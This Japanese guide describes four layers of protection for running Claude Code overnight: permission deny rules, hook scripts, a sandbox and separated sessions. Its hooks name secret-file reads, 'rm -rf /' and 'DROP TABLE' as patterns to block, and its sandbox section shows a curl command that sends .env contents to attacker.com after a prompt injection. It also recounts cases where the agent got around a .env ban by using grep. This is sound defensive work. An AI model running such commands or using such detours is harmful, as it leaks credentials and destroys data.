Claude Codeを設定して、夜間にプロジェクトを壊さないようにする方法
Markdown7つのフック、permissionsを設定したsettings.json、そして.envやデータベースを失うことなくClaude Codeを一晩稼働させるための12項目のチェックリスト。4層の保護。
記事の全文を読む
Ailootドキュメント — サービスの利用に関する参考資料。
2026年に何が変わったのか:自律型Claude Codeと実際のインシデント
重要なポイント
2026年、Anthropicはauto-mode、/loop、/scheduleを公開しました。Claude Codeは確認なしで何時間も作業できるようになりました。自律性の代償として、実際のインシデントが発生しています。運用データベースの削除、.envの漏えい、そして未修正のpermissions.denyのバグです。このガイドでは、初めて夜間に実行する前に導入すべき4層の保護を紹介します。
以前のClaude Codeは、応答のたびに停止し、書き込みごとに許可を求めていました。不便ではありましたが、安全でした。エージェントがあなたの「はい」を待っていたため、インシデントの最中に眠り込んでしまうことは物理的にあり得なかったのです。2026年、そのモデルは崩れました。Anthropicはauto-modeを公開しました。これは独立した分類エージェントが、各アクションを許可するかどうかをあなたに代わって判断する仕組みです。セッション中、一定間隔でプロンプトを実行する/loopコマンドも、長時間のタスクをcronのようにスケジュールする/scheduleも登場しました。claude --bgで起動したバックグラウンドセッションは、ターミナルなしでエージェントを実行します。自律モードについては、ガイド「Claude Codeの/goal:自律モードとエージェントビュー」で詳しく説明しました。
問題は、自律性の導入にセキュリティ対策が追いつかなかったことです。
数週間前、「片付けて」と頼んだところ、本番と開発の両方のデータベースを削除されました。
同時に、Anthropicのリポジトリでは2つのバグが未解決です。settings.jsonにpermissions.denyを追加する前に、知っておくべき問題です。
- Issue #44868(2026年4月7日):
CLAUDE.mdで明示的に禁止されているにもかかわらず、Claude Codeが.envの内容をgrep -nでチャットの記録に読み込みます。このバグは未解決です。 - Issue #24846(2026年2月11日):
.env*パターンに対するpermissions.read.denyルールが適用されず、正しいdenyパターンがあるのにReadが.env.localを読み取ります。重複としてクローズされましたが、修正されていません。
2つの欠陥は、settings.jsonの1層だけでは不十分なことを示します。permissions、hooks、sandbox、セッション分離はそれぞれ露出を減らせますが、互いを完全にするものではありません。auto-modeの評価は、正規表現がその見逃しを捕まえる証明ではありません。本番には、本番認証と書き込みのないOS隔離、モデル外の通信制限を使い、無人実行前に検証してください。
プロジェクトのグリーンゾーンとレッドゾーンとは?
重要なポイント
グリーンゾーンは、実際の顧客や資金を扱わないローカルプロジェクトです。レッドゾーンは、本番データベース、決済、または個人データを扱うものすべてです。グリーンゾーンでは、最小限のフックとともにauto-modeを使えます。レッドゾーンでは4層の保護が必要で、--dangerously-skip-permissionsはアーキテクチャ上、使用禁止です。
あらゆるプロジェクトに同じ保護を構築するのは無意味です。外部にデプロイしていないローカルの個人プロジェクトと、実際の決済を処理して顧客データを保存するサービスでは、リスクのレベルがまったく異なります。どこでも同じ保護を使うと、グリーンゾーンでは速度を落とし、レッドゾーンでは依然として穴が残ります。
次の3つの条件のうち、少なくとも1つを満たした時点で、プロジェクトはグリーンからレッドに移ります。実際の顧客が現れる、システムを通じて資金が流れ始める、またはデータベースに個人データが含まれる、のいずれかです。それまではauto-modeと最小限のフックを使い、sandboxは不要です。その後は、このガイドの完全な設定に従って保護を組み直す必要があります。
基本原則は、保護レベルをゾーンに合わせることです。開発段階は関係ありません。テスト用Stripeアカウントを使う、手元の個人プロジェクトはグリーンゾーンです。一方、顧客が1人だけで登録フォームしかないサービスでも、すでに料金を支払う顧客がいるならレッドゾーンです。まだ「ドラフト」に見えていても変わりません。初期のプロジェクトでよくある落とし穴は、ゾーンを混同することです。「まだドラフトだから、保護はあとで追加しよう」と考えているうちに、翌週には最初の顧客が支払いを済ませています。
settings.jsonの権限階層はどう機能するのか?
重要なポイント
settings.jsonでは、denyルールが常にallowより優先されます。一方、スコープ(user → project → local → managed)は上書きではなく、統合されます。ユーザーレベルで.env、*.pem、~/.ssh/**をdenyすれば、他人のリポジトリでも保護されます。disableBypassPermissionsModeキーを使えば、YOLOモードも構造的にブロックできます。
Anthropicは公式ドキュメントで権限の評価階層を説明しています。denyルール、ask、allowの順に確認され、最初に一致したルールが適用されます。つまり、denyは常にallowより優先されます。~/.claude/settings.jsonで.envの読み取りを禁止すれば、誰かがプロジェクトの.claude/settings.jsonでallowを設定しても、相手の許可ではなく、あなたの禁止が有効になります。
ユーザーレベルの、最小限で安全な~/.claude/settings.jsonの例:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
ここでは何をしているのでしょうか。最初の6つのルールは、現在のディレクトリとすべてのサブディレクトリにある秘密ファイルの読み取りをブロックします。*.pemと*.keyは、SSL/TLSキーおよびSSHキーです。credentials*.jsonは、クラウドプロバイダーでよく使われるファイル名です。最後の3つは、SSHキー、AWS認証情報、GPGキーを含むシステムディレクトリです。
disableBypassPermissionsMode: "disable"キーは、--dangerously-skip-permissionsフラグ(YOLOモードとも呼ばれます)をブロックします。これにより、ある種のミスを一度で完全に防げます。スクリプトやエイリアスに誤ってこのフラグを追加しても、Claude Codeは受け付けません。フラグを取り除くだけではなく、「managed settingsによってモードが無効化されています」というエラーを返します。
さらに、バージョン2.1.142以降、defaultMode: "auto"キーは、プロジェクトまたはローカルの設定にある場合は無視されます。これにより、「他人のリポジトリに入ったら、その.claude/settings.jsonで自動モードがデフォルトで有効になっていた」という状況から保護されます。Anthropicは、ユーザーの同意なしにリポジトリがauto-modeを有効にすることはできないと明言しています。
これが第一の保護線です。ただし、次に説明する2つの欠点があるため、これだけでは不十分です。
permissions.denyだけでは不十分な理由:未解決のGitHub issue 2件
重要なポイント
2026年4月、あるユーザーがAnthropicのリポジトリにissue #44868を登録しました。Claudeが.envをgrep -n経由で読み取り、CLAUDE.mdの禁止にもかかわらず、内容を会話の記録に出力するというものです。2月のissue #24846では、.env*に対するpermissions.read.denyがReadツールのレベルで機能しないと報告されました。どちらも未解決です。つまり、フックを重ねていないsettings.jsonは、漏れのあるふるいです。
permissions.denyが機能するなら、前のセクションでガイドを終えられたでしょう。しかし、そうではありません。
Issue #44868(2026年4月7日):ユーザーは、.env、.dev.vars、その他の秘密情報を含むファイルを読み取らないよう、CLAUDE.mdに明示的な禁止を書きました。ところがClaudeはReadではなく、grep -n SOMETHING .envを実行しました。grep -nコマンドは一致した行全体を行番号付きで出力するため、実際のAPIトークンも含まれます。その行はtool_resultに入り、セッションの記録に表示され、履歴に保存されます。
作者が注意を促している微妙な点は、モデルの安全反応が、コマンド実行前ではなく、出力がすでに生成されたあとに起きることです。つまりClaudeは、まずgrepを実行し、トークンを含む行を取得してチャットに出力し、そのあとで初めてミスに気づいて「謝罪」します。その時点で、トークンはすでにチャット履歴に入っています。唯一の対処法は、キーをローテーションすることです。
Issue #24846(2026年2月11日):ユーザーは、**/.env*パターンを含むリストでpermissions.read.denyを設定しました。その後、Claudeに.env.localを読むよう依頼しました。Readツールはエラーなく完了し、ファイルの内容を出力しました。
このissueは重複としてクローズされましたが、修正されていません。このガイドを執筆した時点(2026年6月)でも再現できます。
結論:settings.jsonの第一層は無駄ではありませんが、この例は偶発的な読み取りを何%防ぐかを測っていません。しかし、Bash経由のコマンド(cat .env、grep API_KEY .env、head .env)、強制適用のバグ(issue #24846)、または.envを含むコミットに対するgit diffやgit showを使った巧妙な連鎖は防げません。だからこそ、第二層のフックが必要です。
フックは認識できる危険な操作をどう拒否するか?
重要なポイント
Claude Codeのフックは、特定のイベント(PreToolUse、UserPromptSubmit、Stop)で実行されるシェルスクリプトです。終了コード2、またはpermissionDecision: "deny"を含むJSONを返すことで、アクションをブロックできます。権限やCLAUDE.mdとは異なり、フックはミドルウェアとして、モデルを介さず、実行前に呼び出しを遮断します。
フックは権限とは異なる抽象レベルで動作します。権限とは、モデルが何をするか決める際に考慮するルールです。フックは仕組みが異なります。モデルがツールの呼び出しを決めると、フックがモデルとシステムの間で動作し、入力を確認して許可またはブロックします。フックの判断にモデルは関与しません。フックは、あなた自身が書くシェルコードです。
Anthropicは公式のHooksドキュメントで、ブロックの動作を次のように説明しています。
終了コード2はブロックを伴うエラーを意味します。Claude Codeはstdoutとその中のJSONをすべて無視します。代わりに、stderrのテキストがエラーメッセージとしてClaudeに返されます。
ここから2つのことがわかります。第一に、正しく設定した阻止フックは一致する呼び出しを拒否できます。PreToolUseの終了コード2はその呼び出しを止めますが、あらゆる同等の危険コマンドを認識する証明ではありません。第二に、stderrに意味のあるメッセージを書けば、Claudeはエラーとして読み取り、別の方法を試します。つまりフックは単なる「柵」ではなく、「通れない理由を説明する看板付きの柵」です。
終了コード2でブロックできるイベント:
PreToolUse—実行前にツール呼び出しをブロックします。防御用フックの主要イベントです。PermissionRequest—Claudeが実行許可を求めたアクションを拒否します。UserPromptSubmit—ユーザーのプロンプトをブロックして消去します。プロンプトに不審なテキストが含まれる場合(仕込まれたメールからのプロンプトインジェクションなど)に便利です。Stop—Claudeによるセッション終了を防ぎます。条件が満たされるまでエージェントを動かし続ける「ループ」に使えます。PreCompact—自動的なコンテキスト圧縮をブロックします。手動で判断するまで会話の記録を保持したい場合に便利です。WorktreeCreate—worktreeの作成を拒否します。予期しない場所にリポジトリをクローンしようとするClaudeへの保護です。
終了コード2の代わりに、hookSpecificOutput.permissionDecisionフィールドを含むJSONを返す方法もあります。permissionDecisionには4つの値があります。
allow—標準の権限フローを迂回し、アクションを明示的に許可します。deny—アクションをブロックします。PreToolUseでは終了コード2と同じです。ask—ユーザーに確認を求めます(ダイアログが表示されます)。defer—判断を通常の権限ロジックに委ねます。
この方法なら、終了コードよりもフックを細かく制御できます。permissionDecision: "ask"を使えば、操作を完全にブロックせずに、無言で進む操作を確認必須にできます。私がnpm install <new package>やロックファイルの変更に使っているのはこの方法です。
Claude Codeで現在利用できる31のイベントやフックの仕組みを知りたい場合は、別のガイド「Claude CodeのHooks:すぐに使える7つのルール」で説明しています。次に、自律作業向けの具体的なフックを紹介します。
夜間作業ではどの7つのフックを使うのか?
重要なポイント
7場面のPreToolUseの例です。一部の秘密読み取り、認識するgit push、一部のSQLとrm -rf、パッケージ導入とmanifest変更、対象ツールのログを扱います。有効化前に一致と見逃しをローカルで試してください。不完全な正規表現で、本番の安全境界は保証しません。
これは第二層の保護であり、第一層を補強します。すべてのフックを.claude/hooks/に置き、.claude/settings.jsonから登録します。jqのインストールが必要です。
フック1:.env、.pem、credentials.jsonの読み取りを防ぐ
一部のReadパスと一般的なBashの秘密読み取りを追加検査します。全ツールや全読み取り方法を検知するものではありません。ファイル:.claude/hooks/block-secret-reads.sh:
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
.claude/settings.jsonへの登録:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
インストール後、chmod +x .claude/hooks/block-secret-reads.shを実行します。テストとしてClaudeに.env.localを読むよう依頼すると、ファイル内容ではなく「Secret file. Use op:// references or env vars.」という応答が返ります。
フック2:夜間セッションで文字どおりのgit pushを拒否する
無人実行では、認識できるgit pushをフィーチャーブランチも含め保守的に拒否します。現在のブランチやforce引数の安全性は推測しません。保存先は.claude/hooks/block-force-push.shです。
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
BashのmatcherでPreToolUseへ登録します。フラグとブランチを解析せず認識したpush自体を止めるため、git push --force origin main、git push origin main --force、git push -f、git push origin HEAD:main、&&や;内の文字どおりのpushも検出します。これはオフラインの文字列例で、リモートへ実行する指示ではありません。
あくまで文字列の目安です。Git別名、関数、git -C ... push、組み立てた名前、スクリプト、別ツールは通り抜けえます。完全なシェル解析ではありません。Gitサーバーで保護ブランチを強制し、回避できる認証を除き、本番書き込み権限なしの隔離環境で動かします。フックの見逃しで本番権限を与えてはいけません。
フック3:破壊的なSQL操作をブロックする
ファイル:.claude/hooks/block-destructive-sql.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
PreToolUseのmatcher: "Bash"を指定して登録します。ここでは違いに注意してください。DROPとWHEREのないDELETEは完全にブロックし、WHEREのないUPDATEはaskになります。移行時に全レコードのフラグを設定するなど、正当なケースもありますが、必ず手動で確認します。
フック4:rm -rfフィルタ
Anthropicのドキュメントにある基本例を、理由を示してdenyする形に変更しています。
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
このフックはrm -rf node_modules、rm -rf .next/cacheなど、対象を明示した削除を許可します。rm -rf .、rm -rf /、rm -rf ~など、「すべてを消去する」コマンドはブロックします。
フック5:新しいパッケージのインストールを確認する
このフックはサプライチェーン攻撃に対抗します。Claudeが独自に新しい依存関係を追加しようとすると、ダイアログが表示されます。
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
このフックは、ロックファイルからのインストールを許可し、新しい依存関係の追加には確認を求めます。
フック6:package.jsonとロックファイルを保護する
依存関係マニフェストに変更があれば、誰かが確認すべきです。特に夜間はそうです。
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
PreToolUseのWrite|Editマッチャーを指定して登録します。
フック7:すべてのBash呼び出しをエンドツーエンドで監査ログに記録する
夜間に問題が起きた場合は、操作の順序を把握するための完全なログが必要です。settings.jsonから登録します(専用スクリプトは不要で、jqがすべて行います)。
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
.claude/audit.jsonlには1行ずつ記録が追加されます。朝になったら、夜間の/loop後にtail -n 100 .claude/audit.jsonl | jqを実行して、各時点でエージェントが何をしたか確認できます。これは事後分析に欠かせません。セッションの記録は長く読みにくいことがありますが、監査ログなら時系列をすっきり確認できます。
Sandboxとworktreeによる隔離は、長時間セッションをどう保護するのか?
重要なポイント
Claude Codeのsandboxは、ファイルシステムとネットワークを隔離します。Anthropicによれば、同等のセキュリティを保ちながら、権限確認を84%減らせます。ネットワーク隔離により、エージェントがすでに.envを読んでいても、リモートサーバーへの流出を防げます。長時間のバックグラウンドセッションでは、sandboxとworktreeが必須です。
フックが「看板付きの柵」なら、sandboxは「柵と堀とドローンネット」です。これは第4層の保護です。フックがアクションを許してしまっても、その実行によって環境の外に被害が及ばないようにします。
Anthropicはサンドボックスに関するブログ記事(2025年10月20日)で、社内測定結果を報告しています。
当社の社内データによれば、sandboxを使うことで、セキュリティを保ちながら権限確認を84%減らせます。
つまり、/sandboxを有効にすると、アクションの84%はsandboxの外に出られないため、Claudeが権限を確認しなくなります。速度向上には役立ちますが、sandboxの主な価値はそこではありません。
sandboxは2種類の隔離を提供し、それぞれ役割が異なります。
ファイルシステムの隔離は、読み書きできるディレクトリを明示的に許可した場所に制限します。フックが/etc/hostsへの書き込みや~/.ssh/id_rsaの読み取りを見逃しても、sandboxはシステムコールを通しません。これはOSレベルの保護です。アプリケーション層からは見えません。
ネットワークの隔離は、接続先を承認済みサーバーに限定します。これは情報を外部に持ち出す攻撃への対策として重要です。シナリオを考えてみましょう。仕込まれたファイルのプロンプトインジェクションにより、Claudeが.envを読み取ってしまいます(読み取りが通常と異なる経路だったため、フックは見逃しました)。その後、モデルはcurl -X POST attacker.com -d "$ENV_CONTENT"を実行しようとします。ネットワーク隔離がなければ、これは成功します。ネットワーク隔離があれば、ホストが許可リストにないため、curlはattacker.comに接続できません。
Claude Code内で/sandboxコマンドを実行します。~/.claude/settings.jsonで設定してください。
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
claude --bgで起動する長時間のバックグラウンドセッションでは、sandboxにworktree隔離を追加します。これはClaude Codeのネイティブ機能です。各バックグラウンドセッションは、別のブランチにある独自の.claude/worktrees/<name>/へ自動的に移動します。複数のセッションが同じファイルを書き込んでも、互いに干渉しません。worktreeによる隔離については、ガイド「エージェントビューとWorktree:Claude Codeの自律モード」で詳しく説明しました。
Claudeが自分の作業を確認できる方法を用意してください。
sandboxはフィードバックループの一部です。自分のアクションが制約されているとClaudeがわかっていると、より慎重に作業し、途中経過も明確に説明します。
2026年、auto-modeはどこで使え、どこでは使えないのか?
重要なポイント
auto-mode in Claude Codeは、Anthropicのルールに基づいてアクションを自動判断し、手動の権限確認を置き換えるSonnet 4.6の分類器です。Anthropic自身によれば、危険なアクションに対する偽陰性率は17%です。また、分類器による拒否が3回連続、または合計20回に達するとセッションが停止します。グリーンゾーンでは手動承認の代替として妥当です。レッドゾーンでは引き続きフックが必要です。
2026年3月、Anthropicは「手動レビューとガードレールなしの中間」にあたるauto-modeを公開しました。これは、実行前にClaudeの各アクションを一連の基準に照らして評価する、独立したSonnet 4.6モデルです。Anthropicのエンジニアは、Anthropic Engineeringのブログで、その仕組みを説明しています。
auto-modeは、承認をモデルベースの分類器に委ねる、新しいClaude Codeのモードです。手動レビューとガードレールなしの中間にあたります。
auto-modeには、重要な制限が2つあります。
- 分類器による拒否が3回連続、または合計20回に達すると、モデルは停止して人間に判断を求めます。これは、「Claudeが制限を回避しようと、同じコマンドを100通りの言い方で試し続ける」状況への保護です。
- ユーザーが通常承認する典型的なケースの93%に類似したアクションは、auto-modeが許可します。これにより、権限確認疲れは軽減されますが、典型的ではない危険なアクションは防げません。
そして、最も注目すべき数字は次のとおりです。
実際の危険な拙速アクションに対する偽陰性率は17%です。これが正直な数字です。
報告の17%はその評価の偽陰性率で、自分の全操作の確率ではありません。サンプルフックが見逃しを捕まえる証明でもありません。レッドゾーンの無人作業には、本番書き込み・秘密情報からの強制隔離、サーバー保護ブランチ、それを回避できない認証が必要です。
使い捨てで復元可能な環境にフックを追加検査として使います。ローカルにもGitでは戻せない未追跡ファイルや認証情報があります。レッドゾーンでは、見逃しを実際のアクセス制御で封じ込めます。正規表現の集合で任意のシェルが確実に安全になるわけではありません。
セッションを3つの種類に分ける理由
重要なポイント
最も危険な連鎖は、単独の悪いコマンドではなく、普通のコマンド3つを連続して実行することです。エージェントが.envを読み取り(正当)、受信メールを解析し(正当)、外部にHTTPリクエストを送信します(正当)。個々のアクションは安全でも、組み合わせると情報の持ち出しになります。タスクの種類ごとに権限の異なるセッションを使い、3種類の作業を分離するのが対策です。
次の3種類のタスクは、同じセッションに入れてはいけません。
種類1:個人データの取り扱い。 セッションは本番データベースにアクセスでき、メールを送信でき、認証情報を参照できます。一方、外部ドキュメント(メール、PDF、ウェブページ)にはアクセスできず、任意の宛先にデータを送信できません。
種類2:外部ドキュメントの処理。 セッションは受信メールを解析し、ウェブページをダウンロードし、メールに添付されたPDFを読めます。一方、個人データを含むデータベースにはアクセスできず、明示的な確認なしに外部へ何かを送信できません。
種類3:外部への公開。 セッションはソーシャルネットワークに投稿し、メールキャンペーンを送信し、pull requestを作成できます。一方、個人データにはアクセスできず、受信したコンテンツを解析しません。
なぜ分けるのでしょうか。1つのセッションですべてを行うと、仕込まれたPDF(競合の代理店が送ってきた「請求書」など)のプロンプトインジェクション1件だけで、エージェントが一度に顧客データベースを読み取り、顧客のメールアドレスを見つけ、攻撃者のアドレスに送信してしまうおそれがあります。この連鎖に含まれる各アクションは、それぞれのタスクの種類に照らせば正当です。組み合わせると情報漏えいになります。
最も恐ろしい情報持ち出しのパターンは、悪いコマンドが1つあることではありません。完全に普通の操作が連鎖することです。エージェントが
.envを読み取り(許可されている)、HTTPで送信すれば(許可されている)、それで終わりです。
実際には、タスクの種類ごとに異なる.claudeディレクトリを使います。私のマシンには3種類の設定があります。~/projects/business-ops/.claude/(種類1、データベースへのアクセスあり。内部APIを除きネットワークは禁止)、~/projects/inbox-parsing/.claude/(種類2、すべてのネットワークを禁止)、~/projects/social-posting/.claude/(種類3、Telegram、X、SlackのAPIへのネットワークを許可)です。それぞれが、独自の権限とフックを持つClaude Codeの別プロジェクトです。
/loopの前に確認する12項目のチェックリスト
重要なポイント
一晩の/loop、/schedule、またはclaude --bgを起動する前に確認する、12項目のチェックリストです。基本的なdenyを設定した~/.claude/settings.jsonから、ネットワーク隔離付きの/sandboxまで確認します。1つでも対応できていなければ、起動しません。
.env*、*.pem、*.key、credentials*.json、~/.ssh/**、~/.aws/**に対するユーザーレベルのdenyを設定した~/.claude/settings.json。これが基礎です。これがなければ、あとの対策は意味がありません。~/.claude/settings.jsonのdisableBypassPermissionsMode: "disable"。YOLOフラグを完全にブロックします。block-secret-reads.shの例を選んだコマンドでテスト済みで、実際の秘密と本番認証は無人環境からアクセス不可。block-force-push.shの例は引数順・宛先によらず認識するpushを拒否し、Gitサーバーで保護ブランチと回避不能な認証を強制。DROP TABLE、TRUNCATE、およびWHEREのないDELETE FROMを防ぐblock-destructive-sql.shフック。対象が明示されていない
rm -rfを防ぐblock-rm-rf.shフック。npm install <new package>のためのask-on-new-deps.shフック(引数なしのnpm installとは区別されます)。package.json、pnpm-lock.yaml、requirements.txt、pyproject.toml、Cargo.tomlへの書き込みに対するask-on-lockfile-change.shフック。すべてのBash、Write、Edit呼び出しを記録する、一括監査用の
audit.jsonlログ。これがなければ、事後分析は不可能です。すべての長時間バックグラウンドセッションは、mainブランチではなくworktreeで実行します。
claude --bg "task"は自動的にworktreeを作成しますが、settings.jsonにworktree.bgIsolation: "none"が設定されていないか確認してください。長時間の自律タスクを起動する前に
/sandboxを使います。ファイルシステムへのアクセスはプロジェクトディレクトリと/tmpに制限します。ネットワークでは、api.anthropic.com、github.com、registry.npmjs.orgを許可リストに入れます。タスク内に確認手順を入れます。大きな変更のたびに、テストランナーかリンターを実行します。失敗した場合は、修正が終わるまでエージェントを続行させません。
最後の項目はツールの設定ではなく、作業の進め方です。Claudeが自分の作業を確認できる方法を用意してください。確認せずに作業すると、一晩中「これで大丈夫だと思う、次に進もう」を繰り返し、朝までにエラーが積み上がります。検証を行えば、確認が通るまで作業は続きません。
やってはいけない7つのこと
重要なポイント
ここで紹介したプロジェクトで起きた、よくある7つのミスです。本番環境にアクセスできるマシンで--dangerously-skip-permissionsを実行する、CLAUDE.mdだけに頼る、フックを重ねずにpermissions.denyを信頼する、バックアップのルールなしでauto-modeを使う、といったものです。それぞれ、出典で説明した実際のインシデントと結び付いています。
1. 本番環境にアクセスできるホストマシンで--dangerously-skip-permissionsを使う。 Browningstreetは「片付けて」という単一のコマンドで、本番と開発の両方のデータベースを失いました。ミスの代償は、復旧に何時間もかかることに加え、バックアップに含まれていないデータを失うことです。すでにインシデントが起きた場合は、「AIがデータベースを削除したときの対処法:復旧チェックリスト」を開き、10の手順を順番に実行してください。
2. セキュリティをCLAUDE.mdだけに頼る。 Issue #44868が示したように、モデルは先に動き、そのあとで謝罪します。テキストファイル内の助言的な指示は、ツール呼び出しをブロックしません。正しく設定したフックは一致する呼び出しを止め、より広い境界はOS、sandbox、サービス側のアクセス制御で強制します。CLAUDE.mdはプロジェクトの文脈を伝えるうえで重要です。この点は「CLAUDE.mdを正しく設定する方法」で別途説明しました。しかし、自律エージェントから守ってくれるものではありません。
3. settings.jsonのpermissions.denyだけに頼り、フックを追加しない。 Issue #24846は2026年2月から未解決です。.env*に対するdenyは、Bashのgrep経由で回避できます。フックは追加検査になりますが、秘密情報は無人環境の外へ置く必要があります。正規表現はアクセス制御の完全な代わりではありません。
4. auto-modeと正規表現フックを本番隔離とみなす。 引用の偽陰性率は評価固有で、フックの範囲も不完全です。本番書き込み認証を除き、全危険操作が捕まると仮定せず、強制境界を検証してください。
5. 確認せずにnpm installで新しいパッケージをインストールする。 サプライチェーン攻撃は実際に起きています。2024〜2026年のTea-tagsインシデントは、ダウンロード数が数千件に及ぶ、タイポスクワッティングされたパッケージが存在することを示しました。許可リストが必要です。
6. Bashの呼び出しを記録しない。 監査ログがなければ、夜間に何が起きたのか把握できません。チャットの記録は長く、コマンド別にインデックス化されておらず、時系列もわかりません。.claude/audit.jsonlなら、どちらの問題も解決できます。
7. バックグラウンドセッションでworktreeを使わない。 同じディレクトリの並行セッションは、互いの作業を妨げます。Claude Codeではworktree.bgIsolationがデフォルトで有効です(バージョン2.1.143以降)。ただし、設定は確認してください。
そして、どのフックや設定でも防げない、最も大切なことがあります。
この言葉は単なる言い回しではありません。本番環境の保護に責任を持つのは、エージェントを起動した人です。Claude Codeはストレートレザーのようなものです。ひげを剃ることも、自分を傷つけることもできます。設定で答えるべき問いは1つです。レザーが切るべきでないものを切らないよう、環境を十分に整えましたか?
出典
その他の資料はAilootでご覧いただけます。
詳細を見る
Claude Codeを設定して、夜間にプロジェクトを壊さないようにする方法:よくある質問
force-pushフックは、すべてのシェル操作から本番を守りますか?
いいえ。改訂例は認識するgit pushを、引数順、暗黙ブランチ、refspec、通常の連鎖を含めて止めます。別名、ラッパー、構築したコマンドは回避しえます。サーバーで保護し、回避権限を外してください。
一晩動かす前に何が必要ですか?
本番の書き込みと秘密情報を持たない隔離環境、実際の通信とサービス側の制限、フックの一致・不一致テストが必要です。フックは追加検査で、強制境界を置き換えません。